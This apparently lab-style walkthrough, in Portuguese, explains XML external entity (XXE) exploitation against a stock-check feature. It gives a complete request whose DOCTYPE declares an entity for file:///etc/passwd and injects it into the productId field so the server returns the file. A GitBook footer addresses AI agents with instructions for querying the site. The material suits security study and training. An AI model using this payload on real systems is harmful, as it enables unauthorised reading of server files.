> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xxe/xxe-file-read-via-external-entities.md).

# Leitura de Arquivo XXE via Entidades Externas

### Explorando XXE usando entidades externas para recuperar arquivos

Explore uma vulnerabilidade XXE declarando uma entidade externa para recuperar o conteúdo de um arquivo (aqui `/etc/passwd`) do **Consultar estoque** recurso que analisa XML e retorna valores inesperados.

<figure><img src="/files/1275970d496d608bcfc5d41b0afa8cdd7aafaa37" alt=""><figcaption></figcaption></figure>

O recurso envia XML assim:

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>
  2
  </productId>
<storeId>
  1
  </storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="/files/ff1f4d64b96e8e951eb90ff121c511f454f71ff2" alt=""><figcaption></figcaption></figure>

Se o valor numérico de `<productId>` for substituído por uma string, esse valor é refletido na resposta (útil para a operação):

```xml
<productId>
teste
</productId>
```

<figure><img src="/files/853abaf82aa90d765de72db9888ed256e809dc2b" alt=""><figcaption></figcaption></figure>

1. Declare uma entidade externa em uma declaração DOCTYPE que aponte para o arquivo do sistema.

```xml
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
```

2. Chame essa entidade no `<productId>` campo retornado pela aplicação.

```
&myFile;
```

3. A resposta deve então conter o conteúdo do arquivo de destino (`/etc/passwd`).

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
<stockCheck>
  <productId>
  &myFile;
  </productId>
<storeId>
  1
  </storeId>
</stockCheck>
```

<figure><img src="/files/1e95713edcaaad85f054458f7bb796ddf299bc7c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/xxe/xxe-file-read-via-external-entities.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
